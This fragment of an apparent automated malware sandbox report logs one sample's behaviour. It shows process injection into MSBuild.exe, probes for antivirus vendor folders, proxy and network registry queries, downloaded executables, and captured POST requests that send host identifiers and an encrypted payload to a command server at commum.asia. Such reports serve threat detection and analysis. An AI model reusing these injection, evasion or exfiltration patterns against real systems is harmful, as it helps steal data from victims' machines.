"000001C50B401240" "NumberOfBytesToWrite": "00000400" "$name": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe"} "adc663ab13.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "328" "BaseAddress": "00401000" "Buffer": "000001C50B401640" "NumberOfBytesToWrite": "0004F000" "$name": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe"} "adc663ab13.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "328" "BaseAddress": "00450000" "Buffer": "000001C50B450640" "NumberOfBytesToWrite": "00002000" "$name": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe"} "adc663ab13.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "328" "BaseAddress": "00452000" "Buffer": "000001C50B452640" "NumberOfBytesToWrite": "00003C00" "$name": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe"} "adc663ab13.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "328" "BaseAddress": "0045E000" "Buffer": "000001C50B456240" "NumberOfBytesToWrite": "00003400" "$name": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe"} "adc663ab13.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "328" "BaseAddress": "00B3F008" "Buffer": "000001C50B4012EC" "NumberOfBytesToWrite": "00000004" "$name": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe"}36:T6ad,"bounty-38813904328784694.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: ""; Value: "") "bounty-38813904328784694.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\VMBUS\PARAMETERS\WINSOCK"; Key: ""; Value: "") "bounty-38813904328784694.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: ""; Value: "") "bounty-38813904328784694.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS"; Key: ""; Value: "") "bounty-38813904328784694.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: ""; Value: "") "bounty-38813904328784694.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: ""; Value: "") "bounty-38813904328784694.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: ""; Value: "") "bounty-38813904328784694.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: ""; Value: "") "bounty-38813904328784694.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\SETUP"; Key: ""; Value: "") "bounty-38813904328784694.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: ""; Value: "") "bounty-38813904328784694.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SQMSERVICELIST"; Key: ""; Value: "") "bounty-38813904328784694.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINHTTPAUTOPROXYSVC\PARAMETERS"; Key: ""; Value: "")37:Tc00,"bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\VMBUS\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "SYSTEMSETUPINPROGRESS"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "MIGRATEPROXY"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYSERVER"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYOVERRIDE"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "AUTOCONFIGURL"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "AUTODETECT"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "DIALUPAUTODETECT"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SQMSERVICELIST"; Key: "SQMSERVICELIST"; Value: "")38:T5a3,"bounty-38813904328784694.exe" reads file "c:\users\%osuser%\appdata\local\temp\10716570101\cde4308e66.exe" "bounty-38813904328784694.exe" reads file "c:\users\%osuser%\desktop\desktop.ini" "bounty-38813904328784694.exe" reads file "c:\users\%osuser%\documents\desktop.ini" "bounty-38813904328784694.exe" reads file "c:\users\%osuser%\music\desktop.ini" "bounty-38813904328784694.exe" reads file "c:\users\%osuser%\pictures\desktop.ini" "bounty-38813904328784694.exe" reads file "c:\users\%osuser%\videos\desktop.ini" "bounty-38813904328784694.exe" reads file "c:\users\%osuser%\downloads\desktop.ini" "bounty-38813904328784694.exe" reads file "c:\users\%osuser%\onedrive\desktop.ini" "bounty-38813904328784694.exe" reads file "c:\users\%osuser%\searches\desktop.ini" "bounty-38813904328784694.exe" reads file "c:\users\%osuser%\contacts\desktop.ini" "bounty-38813904328784694.exe" reads file "c:\users\%osuser%\favorites\desktop.ini" "bounty-38813904328784694.exe" reads file "c:\users\%osuser%\links\desktop.ini" "bounty-38813904328784694.exe" reads file "c:\users\%osuser%\saved games\desktop.ini" "bounty-38813904328784694.exe" reads file "c:\users\desktop.ini" "bounty-38813904328784694.exe" reads file "c:\users\%osuser%\appdata\local\temp\10716580101\adc663ab13.exe" "cde4308e66.exe" reads file "c:\windows\syswow64\ntdll.dll" "adc663ab13.exe" reads file "c:\users\%osuser%\appdata\local\temp\10716580101\adc663ab13.exe"39:T404,"bounty-38813904328784694.exe" trying to touch file "C:\Windows\System32\WOW64LOG.DLL" "bounty-38813904328784694.exe" trying to touch file "C:\Windows\SysWOW64\apphelp.dll" "bounty-38813904328784694.exe" trying to touch file "C:\bounty-38813904328784694.exe" "bounty-38813904328784694.exe" trying to touch file "C:\Windows\SysWOW64\ntdll.dll" "bounty-38813904328784694.exe" trying to touch file "C:\Windows\SysWOW64\kernel32.dll" "bounty-38813904328784694.exe" trying to touch file "C:\Windows\SysWOW64\KernelBase.dll" "bounty-38813904328784694.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "bounty-38813904328784694.exe" trying to touch file "C:\BOUNTY-38813904328784694.EXE.LOCAL" "bounty-38813904328784694.exe" trying to touch file "C:\WININET.DLL" "bounty-38813904328784694.exe" trying to touch file "C:\Windows\SysWOW64\wininet.dll" "bounty-38813904328784694.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.16299.248_none_8e66fbc1026df8ab\GdiPlus.dll"3a:T4fe,"bounty-38813904328784694.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache" "bounty-38813904328784694.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCookies" "bounty-38813904328784694.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "bounty-38813904328784694.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\random[1].exe" "bounty-38813904328784694.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "bounty-38813904328784694.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\9SSPAW46\random[1].exe" "bounty-38813904328784694.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache" "bounty-38813904328784694.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCookies" "bounty-38813904328784694.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "bounty-38813904328784694.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\LSCBY323\random[1].exe" "bounty-38813904328784694.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "bounty-38813904328784694.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\9SSPAW46\random[1].exe"3b:T7bf,"bounty-38813904328784694.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "bounty-38813904328784694.exe" trying to access non-existent file "C:\WININET.DLL" "bounty-38813904328784694.exe" trying to access non-existent file "C:\FLTLIB.DLL" "bounty-38813904328784694.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "bounty-38813904328784694.exe" trying to access non-existent file "C:\IERTUTIL.DLL" "bounty-38813904328784694.exe" trying to access non-existent file "C:\iertutil.dll" "bounty-38813904328784694.exe" trying to access non-existent file "C:\URLMON.DLL" "bounty-38813904328784694.exe" trying to access non-existent file "C:\urlmon.dll" "bounty-38813904328784694.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\10716570101\CDE4308E66.EXE" "bounty-38813904328784694.exe" trying to access non-existent file "C:\Windows\SysWOW64\RPCSS.DLL" "bounty-38813904328784694.exe" trying to access non-existent file "C:\WINDOWS\system32\rpcss.dll" "bounty-38813904328784694.exe" trying to access non-existent file "C:\CLDAPI.DLL" "bounty-38813904328784694.exe" trying to access non-existent file "C:\CLDAPI.dll" "bounty-38813904328784694.exe" trying to access non-existent file "C:\AEPIC.DLL" "bounty-38813904328784694.exe" trying to access non-existent file "C:\AEPIC.dll" "bounty-38813904328784694.exe" trying to access non-existent file "C:\BCRYPT.DLL" "bounty-38813904328784694.exe" trying to access non-existent file "C:\bcrypt.dll" "bounty-38813904328784694.exe" trying to access non-existent file "C:\PROPSYS.DLL" "bounty-38813904328784694.exe" trying to access non-existent file "C:\PROPSYS.dll" "bounty-38813904328784694.exe" trying to access non-existent file "C:\EDPUTIL.DLL" "bounty-38813904328784694.exe" trying to access non-existent file "C:\edputil.dll" "bounty-38813904328784694.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\10716580101\ADC663AB13.EXE"3c:T888,"bounty-38813904328784694.exe" trying to access non-existent file "C:\BOUNTY-38813904328784694.EXE.LOCAL" "bounty-38813904328784694.exe" trying to access non-existent file "C:\ProgramData\AVAST SOFTWARE" "bounty-38813904328784694.exe" trying to access non-existent file "C:\ProgramData\AVAST Software" "bounty-38813904328784694.exe" trying to access non-existent file "C:\ProgramData\AVIRA" "bounty-38813904328784694.exe" trying to access non-existent file "C:\ProgramData\Avira" "bounty-38813904328784694.exe" trying to access non-existent file "C:\ProgramData\KASPERSKY LAB" "bounty-38813904328784694.exe" trying to access non-existent file "C:\ProgramData\Kaspersky Lab" "bounty-38813904328784694.exe" trying to access non-existent file "C:\ProgramData\ESET" "bounty-38813904328784694.exe" trying to access non-existent file "C:\ProgramData\PANDA SECURITY" "bounty-38813904328784694.exe" trying to access non-existent file "C:\ProgramData\Panda Security" "bounty-38813904328784694.exe" trying to access non-existent file "C:\ProgramData\DOCTOR WEB" "bounty-38813904328784694.exe" trying to access non-existent file "C:\ProgramData\Doctor Web" "bounty-38813904328784694.exe" trying to access non-existent file "C:\ProgramData\AVG" "bounty-38813904328784694.exe" trying to access non-existent file "C:\ProgramData\360TOTALSECURITY" "bounty-38813904328784694.exe" trying to access non-existent file "C:\ProgramData\360TotalSecurity" "bounty-38813904328784694.exe" trying to access non-existent file "C:\ProgramData\BITDEFENDER" "bounty-38813904328784694.exe" trying to access non-existent file "C:\ProgramData\Bitdefender" "bounty-38813904328784694.exe" trying to access non-existent file "C:\ProgramData\NORTON" "bounty-38813904328784694.exe" trying to access non-existent file "C:\ProgramData\Norton" "bounty-38813904328784694.exe" trying to access non-existent file "C:\ProgramData\SOPHOS" "bounty-38813904328784694.exe" trying to access non-existent file "C:\ProgramData\Sophos" "bounty-38813904328784694.exe" trying to access non-existent file "C:\ProgramData\COMODO" "bounty-38813904328784694.exe" trying to access non-existent file "C:\ProgramData\Comodo"3d:T24b1,Found string "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=W6jv6IE1lv3WAjKnOUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 1839Host: commum.asia2d:2d:57:36:6a:76:36:49:45:31:6c:76:33:57:41:6a:4b:6e:4f:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:75:69:64:22:0d:0a:0d:0a:37:37:33:66:35:32:64:62:34:65:36:37:65:30:34:32:36:66:35:62:65:37:65:39:65:61:61:64:35:66:31:39:65:64:31:35:39:30:31:36:62:32:33:38:38:38:31:32:66:31:66:64:0d:0a:2d:2d:57:36:6a:76:36:49:45:31:6c:76:33:57:41:6a:4b:6e:4f:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:70:69:64:22:0d:0a:0d:0a:31:0d:0a:2d:2d:57:36:6a:76:36:49:45:31:6c:76:33:57:41:6a:4b:6e:4f:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:68:77:69:64:22:0d:0a:0d:0a:38:41:43:42:37:30:41:35:30:45:35:37:46:32:34:31:45:34:38:45:31:31:43:44:35:36:34:31:36:37:38:44:0d:0a:2d:2d:57:36:6a:76:36:49:45:31:6c:76:33:57:41:6a:4b:6e:4f:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:66:69:6c:65:22:3b:20:66:69:6c:65:6e:61:6d:65:3d:22:64:61:74:61:22:0d:0a:43:6f:6e:74:65:6e:74:2d:54:79:70:65:3a:20:61:70:70:6c:69:63:61:74:69:6f:6e:2f:6f:63:74:65:74:2d:73:74:72:65:61:6d:0d:0a:0d:0a:58:25:aa:cd:da:be:b0:2d:57:a5:cb:6c:b1:63:39:9c:c9:3f:87:72:1a:3d:36:9d:39:b4:c1:18:be:02:59:4f:49:0a:1f:dd:d6:ae:0e:d3:dd:7c:b3:90:bb:1e:b0:39:30:6a:d3:09:12:6b:98:2b:04:f6:84:c1:66:db:3d:55:ac:c2:1f:d4:14:6a:07:30:02:4f:94:ee:c6:83:31:6a:5b:31:16:6e:e1:95:c1:d9:36:54:2c:e1:d8:6d:fc:9f:4d:36:ac:21:1b:d5:18:b3:c1:6e:54:0f:a5:ab:f4:e1:53:01:c5:97:ef:62:16:9a:d2:b7:ce:1c:91:e2:3d:03:27:de:65:e7:2b:c7:92:5c:e6:37:fd:4d:e3:6d:ca:cb:f0:dd:39:ea:20:52:38:47:bf:ff:24:bb:6c:55:c7:f9:64:05:e6:40:61:bf:b6:31:88:88:98:d8:36:ce:0d:9e:01:fe:b5:a1:63:01:a7:16:2b:58:e7:a3:25:7e:f8:57:c7:04:39:6d:59:7c:d8:03:cd:4b:28:ac:e4:67:cb:e5:26:b6:fe:be:27:f1:5a:de:8a:43:9c:37:b3:8a:ff:fa:a3:cc:2e:aa:d9:2c:90:76:7c:a4:e9:57:f2:1c:ae:b0:a4:a0:17:84:3c:99:9a:d2:3b:2f:cd:b6:ac:2d:ef:81:b1:a5:77:6f:e7:28:21:1f:9b:e6:a0:a6:80:78:30:e4:79:1e:ac:75:a8:dd:1a:e0:38:7b:8e:47:0b:1e:15:14:8e:6d:a8:e0:36:10:12:f9:c2:ec:23:5e:31:22:d7:36:2f:fb:f2:c6:24:dd:1f:28:cd:07:cd:28:f9:be:49:64:4f:42:50:a1:3c:ce:b7:05:15:aa:6c:49:69:01:b9:94:66:67:67:5c:49:4d:ce:24:ce:f4:19:4f:9d:ec:8d:1b:ae:1d:f3:86:62:69:ca:4e:90:31:c8:2a:80:8c:6f:3c:4f:a3:73:f0:ed:6d:16:d0:97:ba:60:47:83:b9:91:e5:26:31:d1:8c:d2:ee:be:45:e5:7e:0b:b4:6b:85:eb:68:77:e1:a1:af:88:a4:58:6a:0a:64:96:71:f1:20:b4:7f:7b:ea:7b:0f:f7:10:3b:ca:f6:fb:e7:d1:ab:21:6e:46:c1:b8:69:79:5e:07:e4:5a:2e:34:80:72:20:87:b8:b0:3c:b5:79:72:84:8e:02:0a:de:80:78:20:43:ec:91:24:0f:8f:e7:fb:6a:b7:d3:b8:ac:e1:bd:8a:d8:0c:89:61:ea:7d:de:1d:06:3d:1a:ff:a4:7a:de:2b:21:39:b2:28:74:63:b8:9a:73:bc:80:0e:9d:b0:6d:54:80:ab:3b:e9:6f:01:e6:83:43:ec:f3:69:4e:3f:1b:d8:ca:57:38:9c:06:04:02:09:2a:67:e4:9e:c8:41:cb:2e:e5:12:4b:8b:23:bc:ee:0e:c0:07:6c:f6:0b:00:eb:87:38:29:9a:b0:c9:9b:af:f8:22:66:1b:5d:95:c7:96:e0:72:4f:d9:dc:44:f5:69:a9:6d:9e:5a:ee:f6:8d:be:7f:f6:fb:38:60:f6:ca:8d:74:f6:63:c2:ea:11:4a:c9:5d:b3:0d:cc:6b:55:b0:fb:2d:35:df:9f:b6:07:ed:be:61:ad:d4:69:5b:dc:97:43:0a:34:3f:fc:d4:17:c6:33:5d:f5:5a:62:d8:28:b3:67:f2:f0:cb:fd:fc:d8:07:71:ad:97:42:4f:59:aa:6d:8e:84:cd:1c:ce:db:a0:14:2a:43:cb:3f:48:e9:24:80:ce:44:8a:8a:44:40:38:61:03:e8:8b:8d:8e:95:98:47:04:bf:cd:36:3b:a6:e2:7f:18:54:c7:6c:cf:68:28:cc:77:10:4f:41:a6:35:84:b0:3d:3b:97:0a:7b:27:4c:7d:98:c4:56:ce:29:48:c1:de:6a:27:48:43:a2:8b:95:ad:4f:0d:c9:d1:5f:a7:a4:b7:46:01:9a:cc:51:61:2b:13:71:66:3f:0f:8d:80:9c:ed:9f:13:23:74:75:fe:57:1f:9c:64:29:86:76:99:96:a6:8b:e4:79:92:1b:77:14:e8:2d:e1:f1:f5:e0:a7:64:9e:c0:a1:c3:a0:a1:91:e6:0f:68:b3:94:f9:22:42:b5:51:ce:75:17:5c:01:14:8e:9f:f1:2a:75:d8:5e:c5:df:39:79:90:97:01:b9:f3:01:94:0e:29:46:29:7a:65:d2:16:5f:37:30:ff:28:ff:ce:f4:bb:e5:b4:75:aa:09:c6:e2:24:5d:08:91:72:48:c2:18:45:3e:9a:5b:08:84:c3:3a:df:03:db:0e:35:88:6f:95:e4:93:04:ec:c8:58:b4:77:53:b6:88:ec:0e:a9:fa:e4:38:5f:6d:96:1a:ef:c1:45:b9:88:4e:83:f7:10:40:94:51:06:dc:3b:27:36:80:81:60:c7:eb:e5:b2:57:90:ad:73:c7:5b:e2:79:58:23:f2:58:45:19:bd:0e:7b:f8:e6:e8:0b:a4:5f:7c:2b:d1:92:e3:cd:bc:bd:c3:82:cf:ef:45:44:eb:56:82:c6:ea:f2:68:38:44:c0:ea:b7:d5:61:8c:ff:2e:85:4c:35:39:b5:93:e1:d2:41:34:d3:69:9b:18:5c:b4:ce:d8:45:b5:37:6b:5b:11:b6:36:43:e9:90:22:f2:e3:ac:8d:90:13:dc:26:ee:fd:a0:e5:27:eb:d3:d7:81:6d:41:b2:6a:d9:75:34:99:21:af:aa:ef:4d:94:0f:cd:f9:3c:c3:a3:7e:1a:8a:83:d6:0c:85:5b:09:a4:57:b6:ce:bb:cb:79:61:e9:c4:d8:81:47:b1:40:50:b6:ce:19:1a:d6:50:0a:ff:fe:77:38:42:00:76:c9:e3:fe:64:fa:88:f8:a9:26:ae:24:89:9b:4b:db:c6:8e:71:7d:7f:59:19:a8:79:c1:b5:75:ab:97:39:21:98:06:53:90:75:24:71:61:dc:f5:74:13:22:54:ec:ab:e1:83:d4:cd:c2:ab:a3:61:eb:cf:5a:01:6c:2b:92:71:01:d3:a4:32:79:56:42:1a:aa:8f:d6:19:53:55:ae:bc:b1:75:2d:0a:ef:9a:96:05:be:fb:e1:e7:8f:96:8d:ce:b8:ac:3c:6c:c7:a6:7b:32:ac:e3:74:68:b6:48:03:d7:13:9c:f1:27:79:35:7b:e9:16:70:0c:3d:64:3d:45:7d:a0:6e:70:1d:17:5b:c4:56:bf:23:00:d2:54:a6:c0:a9:a7:40:11:b9:ee:e5:b5:73:69:09:95:51:6a:48:ce:f6:96:ef:7f:98:ca:02:f4:60:93:66:71:5a:af:7f:ff:ea:95:36:a9:73:d7:6b:dc:cd:20:7a:9a:fd:82:a6:20:3b:08:ce:90:75:3e:7b:d6:ff:4c:84:2e:8e:8f:88:4e:0f:9b:0c:cb:cb:96:a6:b4:14:d9:92:7e:85:5b:f8:8f:de:87:31:8c:30:5e:3d:e8:95:0f:2c:64:9b:9f:65:9a:57:55:05:b9:92:a6:a3:d4:14:a9:97:2f:b3:ef:4d:28:88:04:f9:3e:5a:60:1d:84:5c:6e:47:1b:ee:26:7c:02:aa:1d:ea:7e:50:10:20:37:ec:14:b7:1c:f1:10:f6:2d:5f:25:0d:65:86:a4:38:74:51:7b:33:e0:52:39:fd:7c:d7:c4:de:28:22:0d:0a:2d:2d:57:36:6a:76:36:49:45:31:6c:76:33:57:41:6a:4b:6e:4f:2d:2d:0d:0a:0d:0a"; File: "PCAP") Found string "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6xOErzf8KpWA6WWEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 1095Host: commum.asia2d:2d:36:78:4f:45:72:7a:66:38:4b:70:57:41:36:57:57:45:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:75:69:64:22:0d:0a:0d:0a:37:37:33:66:35:32:64:62:34:65:36:37:65:30:34:32:36:66:35:62:65:37:65:39:65:61:61:64:35:66:31:39:65:64:31:35:39:30:31:36:62:32:33:38:38:38:31:32:66:31:66:64:0d:0a:2d:2d:36:78:4f:45:72:7a:66:38:4b:70:57:41:36:57:57:45:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:70:69:64:22:0d:0a:0d:0a:31:0d:0a:2d:2d:36:78:4f:45:72:7a:66:38:4b:70:57:41:36:57:57:45:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:68:77:69:64:22:0d:0a:0d:0a:38:41:43:42:37:30:41:35:30:45:35:37:46:32:34:31:45:34:38:45:31:31:43:44:35:36:34:31:36:37:38:44:0d:0a:2d:2d:36:78:4f:45:72:7a:66:38:4b:70:57:41:36:57:57:45:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:66:69:6c:65:22:3b:20:66:69:6c:65:6e:61:6d:65:3d:22:64:61:74:61:22:0d:0a:43:6f:6e:74:65:6e:74:2d:54:79:70:65:3a:20:61:70:70:6c:69:63:61:74:69:6f:6e:2f:6f:63:74:65:74:2d:73:74:72:65:61:6d:0d:0a:0d:0a:ad:79:c8:4c:25:38:7e:e1:b2:2d:97:7f:43:39:60:6b:26:a5:3c:7e:34:44:15:8e:0a:32:70:74:c1:52:e3:aa:67:b5:a8:da:ac:94:87:64:a8:6a:9e:79:9b:b3:cc:c8:6b:b3:3e:ec:d3:65:84:f2:0c:4f:ad:b7:0c:e6:ad:70:3d:64:59:0d:b4:93:8a:3a:2c:16:1e:c9:58:67:72:c3:7b:36:98:8c:e6:bb:9a:0f:51:ff:e1:07:b2:d4:31:b9:32:08:33:da:9a:e1:34:1b:73:c3:36:2f:95:e5:43:62:ff:2b:bc:05:7b:0c:41:c1:c1:e5:b5:88:02:72:33:f2:c4:28:de:0c:9f:7d:b4:90:7b:4f:8f:ff:c9:14:2d:1d:61:43:9d:b1:52:95:83:f3:aa:a1:db:ce:28:4c:08:d3:f4:10:44:90:23:2e:db:95:ff:b4:43:a4:29:97:a9:b9:8a:01:45:76:72:57:f9:3d:b0:3e:93:4b:a3:1d:38:16:87:5b:21:c8:c5:7e:cb:4d:ef:da:0c:73:b4:1b:d5:0a:6d:e1:51:61:46:3f:25:41:f3:61:e1:93:43:cb:d0:25:6b:f0:51:29:bf:d1:89:80:c9:da:e8:fb:fd:65:00:81:7e:a3:58:0c:fc:b6:4f:f7:60:48:87:eb:16:f1:a9:22:d2:76:a8:44:e1:b5:ae:77:0b:0d:87:b9:96:2c:cc:19:8f:8b:13:d9:01:5c:6c:fc:e9:2a:9c:3e:2c:32:ef:34:de:0a:87:8d:aa:18:af:2d:89:6c:ee:0b:19:d6:3b:9f:69:a0:94:28:e0:95:cd:bf:b4:ee:27:28:b9:8c:04:bf:be:a1:43:94:2e:f6:a6:a7:58:c3:f4:d8:72:95:87:0a:bc:32:c2:43:7b:5d:55:01:3e:c3:02:33:b9:02:68:58:a4:ae:04:12:e7:9f:72:b3:e6:32:2f:05:2c:48:40:f9:66:04:1b:4a:63:74:d9:c9:1e:f8:f4:d6:12:51:f9:fe:1c:6d:ec:ee:2b:59:59:f9:d5:7d:e8:f0:d0:0b:c1:64:4c:e8:ee:6e:ef:e9:b9:f8:e7:5b:62:c7:91:5c:a7:8a:b1:95:8b:ee:bb:64:d0:2d:6b:d3:f2:06:9a:68:c1:d4:46:6d:96:63:ca:27:81:a3:60:b3:8a:38:e9:0a:67:f5:b3:a6:90:13:22:3a:2f:50:93:2b:68:18:f9:fd:91:c9:a4:20:38:b5:26:e1:f0:ec:3e:21:2c:46:24:56:85:1b:98:d4:59:e2:36:68:f2:28:ad:db:f1:9a:9c:c7:71:6f:45:c9:2f:1b:93:14:d1:cd:1a:bc:6f:3c:8c:0d:b6:c5:ab:52:a5:d6:47:ee:76:88:8c:d5:ed:e1:2a:39: